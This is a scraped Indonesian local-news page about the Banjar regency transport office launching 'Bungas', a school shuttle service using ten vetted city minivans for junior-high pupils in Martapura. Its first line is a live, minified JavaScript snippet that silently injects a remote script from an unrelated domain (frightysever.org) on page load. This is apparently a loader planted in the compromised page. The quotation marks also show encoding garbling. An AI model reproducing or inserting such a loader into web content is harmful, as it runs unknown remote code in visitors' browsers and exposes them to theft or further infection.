(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Setelah sebelumnya sempat tertunda, Dinas Perhubungan (Dishub) Kabupaten Banjar akhirnya launching program Bungas (Bus Angkutan Sekolah) khusus angkutan sekolah bagi pelajar SMP dan MTS di SMPN 3 Martapura.
Mulai Rabu (30/7) pagi tampak 10 angkutan sekolah berjejer rapi di pinggir jalan A Yani Km 35.5 Sungai Paring, Kecamatan Martapura melayani antar jemput pelajara di SMPN 3 Martapura.
Menurut Kepala Dinas Perhubungan Banjar Aidil Basith, adapun fasilitas program Bungas ini disiapkan sebanyak 10 armada, lengkap dengan sopirnya. Sementara untuk angkutan sudah dilakukan seleksi dan pengecekan kelaiakan angkutan, hingga sopir dites narkoba, sehingga aman ketika membawa armada Bungas tersebut.
“Angkutan khusus sekolah untuk pelajar ini berupa angkutan kota (Angkot) hijau yang sudah beroperasi di beberapa sekolah di Kabupaten Banjar, mengapa angkot itu disebut bus karena bisa mengangkut 12 orang, tujuannya si Bungas ini agar pelajar lebih aman saat di jalan raya dan antar jemput,†katanya.
Diitambahkan Basith, program Bungas dapat membantu para orang tua tidak lagi sibuk antar jemput anak ke sekolah. Karena anak-anak seumuran SMP sederajat belum saatnya mengendarai sepeda motor dan tak cukup umur mengantongi SIM C.
Sementara dalam operasional angkot khusus itu, orang tua diwajibkan membayar Rp 8 ribu jauh dekat untuk pulang pergi setiap harinya, hanya cukup menunggu di rumah masing-masing. Uang tersebut disetorkan setiap minggu kepada komite sekolah dan selanjutnya komite sekolah menyetorkannya kepada Organda.
“Antar jemput langsung dari rumah ke sekolah, mobil angkutan yang beroperasional kami beri stiker khusus. Program ini baru di uji coba, ternyata antusias orang tua, guru dan sopir luar biasa,†jelasnya.
Ia menjelaskan, bagi orang tua tidak ada lagi was-was anaknya terlambat ke sekolah, sementara para sopir mendapatkan manfaat adanya kepastian penumpang yang diangkut. Sedangkan bagi Pemkab tentu menambah PAD dalam hal ini para sopir memperhatikan pajak KIR kendaraan mereka.
“Hingga saat ini sudah ada beberapa sekolah yang sudah melakukan MoU dengan Dishub Banjar diantaranya SMPN 3, SMPN 1, MTsN 6 Banjar, MTs Antasari, MTs Hidayatullah,†akunya. (rendy)ÂÂ
KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyikapi persoalan iuran kegiatan acara… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More
Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More
This website uses cookies.